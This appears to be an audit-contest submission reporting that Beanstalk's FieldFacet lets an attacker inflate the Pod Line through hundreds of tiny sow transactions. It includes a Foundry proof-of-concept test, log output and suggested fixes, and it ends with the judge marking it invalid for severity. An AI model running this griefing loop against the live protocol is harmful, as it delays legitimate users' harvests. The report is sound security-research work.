DeFiHardhatFoundry
250,000 USDC
View results
Submission Details
Severity: high
Invalid

Vulnerability in FieldFacet allows manipulation of Pod Line through numerous small sow transactions

Summary

The identified vulnerability in the Beanstalk protocol's FieldFacet allows a malicious actor to manipulate the Pod line by performing numerous small sow transactions. This results in an inflated queue(Pod Line), pushing legitimate sowers further back in the line and delaying their ability to harvest Pods.

Vulnerability Details

The Beanstalk protocol allows users to sow Beans in exchange for Pods. Newly issued Pods accumulate in the back of the Pod Line. This vulnerability arises because the protocol does not enforce a minimum amount of Beans required for sowing. This oversight allows an attacker to perform a large number of sow transactions with very small amounts of Beans, each creating a new plot in the Pod line. As a result, the Pod line becomes filled with these tiny plots, pushing legitimate users' plots further back in the line and significantly delaying their harvest.


I have written the following PoC test to demonstrate that there is no minimum required amount for sowing and that the attacker will be able to artificially increase the Pod Line size.

Steps to reproduce the PoC:

  1. Copy paste the test_maliciousSowerIncreasesQueueSize in Field.t.sol

  2. Import "forge-std/Test.sol" in Field.t.sol and LibDibbler.sol as we'll use console.log from it

  3. Put the needed console logs in LibDibbler.sol (see below)

  4. Command for running the test forge test --mt test_maliciousSowerIncreasesQueueSize -vv

function test_maliciousSowerIncreasesQueueSize() public {
// Setup initial soil
uint256 initialSoil = 1000;
season.setSoilE(initialSoil);
// Mint beans to the malicious farmer
uint256 maliciousBeans = 1000;
C.bean().mint(farmers[0], maliciousBeans);
console.log("Malicious actor sows: ");
// Sow beans multiple times from the same address
uint256 sowAmount = 2; // Each sowing amount
for (uint256 i = 0; i < 400; i++) {
vm.prank(farmers[0]);
field.sow(
sowAmount, // amount of beans to sow
1, // min temperature
LibTransfer.From.EXTERNAL
);
}
// Check the total soil after sowing multiple times
uint256 remainingSoil = field.totalSoil();
assertEq(remainingSoil, initialSoil - (sowAmount * 400), "Incorrect remaining soil");
// Mint beans to a non-malicious farmer
uint256 nonMaliciousBeans = 200;
C.bean().mint(farmers[1], nonMaliciousBeans);
console.log("Non-malicious farmer sows: ");
// Sow beans from the non-malicious farmer
vm.prank(farmers[1]);
field.sow(
nonMaliciousBeans, // amount of beans to sow
1, // min temperature
LibTransfer.From.EXTERNAL
);
// Check the remaining soil again
uint256 remainingSoilAfterNonMalicious = field.totalSoil();
assertEq(
remainingSoilAfterNonMalicious,
remainingSoil - nonMaliciousBeans,
"Incorrect remaining soil after non-malicious sowing"
);
}

I also added the following console.log statements in LibDibbler.sol's sow() function to show how the Pod Line size increases. A legitimate user's sow index becomes 800, although it could be much lower (e.g., second index or at least it could be in top 10).

function sow(uint256 beans, uint256 _morningTemperature, address account, bool abovePeg)
internal
returns (uint256)
{
...
uint256 index = s.sys.fields[s.sys.activeField].pods;
console.log("Index: ", index);
console.log("Pods: ", pods);
...
}
PoC console output
Ran 1 test for test/foundry/field/Field.t.sol:FieldTest
[PASS] test_maliciousSowerIncreasesQueueSize() (gas: 91744798)
Logs:
Malicious actor sows:
Index: 0
Pods: 2
Index: 2
Pods: 2
Index: 4
Pods: 2
Index: 6
Pods: 2
Index: 8
Pods: 2
Index: 10
Pods: 2
Index: 12
Pods: 2
Index: 14
Pods: 2
Index: 16
Pods: 2
Index: 18
Pods: 2
...
Index: 792
Pods: 2
Index: 794
Pods: 2
Index: 796
Pods: 2
Index: 798
Pods: 2
Non-malicious farmer sows:
Index: 800
Pods: 202

Impact

By flooding the Field with small amount sows, an attacker can make the incentives for other participants significantly less attractive. Their plots will become harvestable much further in the future, effectively discouraging users from participating in the Field. Since the Field is a critical component for adjusting the Bean value towards its peg, reduced user participation could result in destabilization of the Bean price and the protocol itself.

Tools used

VSCode, Foundry

Recommendations

To overcome this issue, one of the following approaches could be implemented:

  1. Minimum Sowing Amount + Cooldown Periods: Implement a minimum amount of Beans required for sowing. This would prevent attackers from creating an excessive number of plots with tiny amounts of Beans. Also introduce a cooldown period between sow actions for the same address. This would limit the ability of an attacker to flood the system with sow transactions in a short period.

  2. Priority Mechanism: Implement a priority mechanism that gives preference to larger sow amounts. This could be achieved by weighting the plot positions based on the amount of Beans sown.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.